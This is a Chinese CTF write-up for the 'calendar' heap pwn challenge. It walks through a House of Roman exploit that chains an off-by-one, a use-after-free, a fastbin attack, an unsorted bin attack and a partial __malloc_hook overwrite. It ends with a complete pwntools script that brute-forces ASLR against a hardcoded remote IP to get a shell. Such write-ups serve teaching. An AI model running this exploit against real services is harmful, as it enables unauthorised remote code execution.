前言
护网杯结束也有一段时间了(被虐惨了。。),各位大佬战队的WP也相继出炉,不过部分题目的WP不够详细,对于刚入门的萌新来说可能会有点难看懂。今天有空就来写下pwn题calendar的wp,也刚好做个笔记吧(轻喷)。讲到这题,很遗憾,我是赛后才复现出来的,因为当时有各种细节没处理好,而且远程爆破也是讲究玄学的,这也许就是这道题目值800分所在吧。
解题思路
其实这题最坑的就是没办法泄露出libc,要利用house of Roman爆破12 bit来getshell。首先fastbin attack使得malloc hook可以任意写,修复fastbin后利用unsorted bin attack使malloc hook指向main_arena+88的地方,最后利用uaf部分地址写把one_gadget的低三字节写入malloc hook,本地调试的时候可以把ASLR关了,接着就剩玄学的远程爆破了。
解题步骤
1、先简单运行一下程序,查看保护。
这里主要开启了canary和nx保护,不能改写got表
2、ida打开,反编译。
1、这里主要有add(),edit()和remove()函数,并没有可以泄露的show()函数
2、edit()里面有个offbyone漏洞,还有一个关键的地方就是,可以edit空闲的chunk
3、remove()里面free后没有置0,有个uaf漏洞
3、本地调试
1、先把堆栈随机化关了
echo 0 > /proc/sys/kernel/randomize_va_space
2、找出libc和它的基地址
p.recvuntil('input calendar name> ')
p.sendline('123')
add(1,0x68)
gdb.attach(p)
malloc hook地址为0x7ffff7dd1b10 ,所以基地址为0x7ffff7a0d000
4、fastbin attack
1、因为没有show(),所以只能利用uaf改fastbin chunk的fd指针。先申请3个0x70,由于add()里只能输入最大是0x68,所以利用edit的offbyone漏洞改chunk2的size,然后再free进入unsorted bin。
add(1,0x68) #gdb.attach(p) add(2,0x68) add(3,0x60) edit(3,0x60,p64(0)*2+p64(0x90)+p64(0x51)+'n') edit(1,0x68,'a'*0x68+chr(0x91)) dele(2)
2、edit把size改回,再free两个chunk,利用edit和UAF部分写改chunk3的fd为上面free掉的unsorted bin中的chunk2,这样fastbin—>chunk3—>chunk2—>main_arena+88,接着把chunk2的fd改成malloc hook-0x13。
edit(1,0x68,'a'*0x68+chr(0x71)) dele(1) dele(3) edit(3,1,chr(0x70)+chr(0x70)) edit(2,1,chr(0xfd)+chr(0x1a))
3、申请3个块,chunk3就被分配到了malloc hook-0x13的地方,到时候把malloc hook改成one_gadget就行,接着free掉chunk4进入fastbin,edit把它的fd指针改成0,修复fastbin(如果不修复无法进行下面的unsorted bin attack)
add(1,0x60) add(4,0x60) add(3,0x60) dele(4) edit(4,7,p64(0))
5、unsorted bin attack
由上面的图可以看出,fastbin和unsorted bin都指向同一个块,这时我们就可以申请chunk1就可以改unsorted bin的bk指针为malloc hook-0x10,再申请一个0x60的时候块的时候malloc hook就会指向main_arena+88
add(1,0x60) edit(1,9,p64(0)+chr(0x00)+chr(0x1b)) add(1,0x60)
6、改malloc hook为one_gadget
这时候我们edit chunk3就可以改malloc hook的低3字节为one_gadget,有些one_gadget会失败,这时选一个合适的one_gadget就行。
one=0xf66f0 #one = 0xcd0f3 #one = 0x4526a #one = 0xf02a4 one_gadget =libcbase+one edit(3,5,'aaa'+p64(one_gadget)[0:3])
7、触发one_gadget
free掉同一个chunk由于double free会报错,这时会调用malloc hook触发one_gadget
dele(4) dele(4)
8、远程爆破
这时候再写个远程爆破的脚本就可以进行远程爆破。
for i in range(10000):
#p=process('./task_calendar')
p = remote('117.78.40.144', 31274)
try:
exp()
break;
except:
print i
p.interactive()
小结(心得体会)
做题目不仅要会做,而且要细心审代码,当时我做这题的时候就是因为不够细心,那个offbyone漏洞一开始我竟然没注意。。所以做不出来,后面他提示了house of Roman后我重新审代码才发现的。总之好好学吧,成为大佬还有很长的路要走。。
完整exp
from pwn import*
context(arch="amd64",os="linux" ,endian = 'little')
elf=ELF('task_calendar')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
def add(id,leng):
p.recvuntil('choice> ')
p.sendline('1')
p.recvuntil('choice> ')
p.sendline(str(id))
p.recvuntil('size> ')
p.sendline(str(leng))
def edit(id,size,x):
p.recvuntil('choice> ')
p.sendline('2')
p.recvuntil('choice> ')
p.sendline(str(id))
p.recvuntil('size> ')
p.sendline(str(size))
p.recvuntil('info> ')
p.send(x)
def dele(id):
p.recvuntil('choice> ')
p.sendline('3')
p.recvuntil('choice> ')
p.sendline(str(id))
def exp():
p.recvuntil('input calendar name> ')
p.sendline('123')
#print hex(libc.symbols['__malloc_hook'])
libcbase=0x7ffff7a0d000
#########fastbin attack###########
add(1,0x68)
#gdb.attach(p)
add(2,0x68)
add(3,0x60)
edit(3,0x60,p64(0)*2+p64(0x90)+p64(0x51)+'n')
edit(1,0x68,'a'*0x68+chr(0x91))
dele(2)
edit(1,0x68,'a'*0x68+chr(0x71))
dele(1)
dele(3)
edit(3,1,chr(0x70)+chr(0x70))
edit(2,1,chr(0xfd)+chr(0x1a))
#gdb.attach(p)
add(1,0x60)
#
add(4,0x60)
add(3,0x60)
dele(4)
edit(4,7,p64(0))
#####unsorted bin attack##########
add(1,0x60)
edit(1,9,p64(0)+chr(0x00)+chr(0x1b))
add(1,0x60)
one=0xf66f0
#one = 0xcd0f3
#one = 0x4526a
#one = 0xf02a4
one_gadget =libcbase+one
edit(3,5,'aaa'+p64(one_gadget)[0:3])
#add(3,0x60)
dele(4)
dele(4)
#p.sendline('cat haixiao.txt')
p.sendline('cat flag')
for i in range(10000):
#p=process('./task_calendar')
p = remote('117.78.40.144', 31274)
try:
exp()
break;
except:
print i
p.interactive()













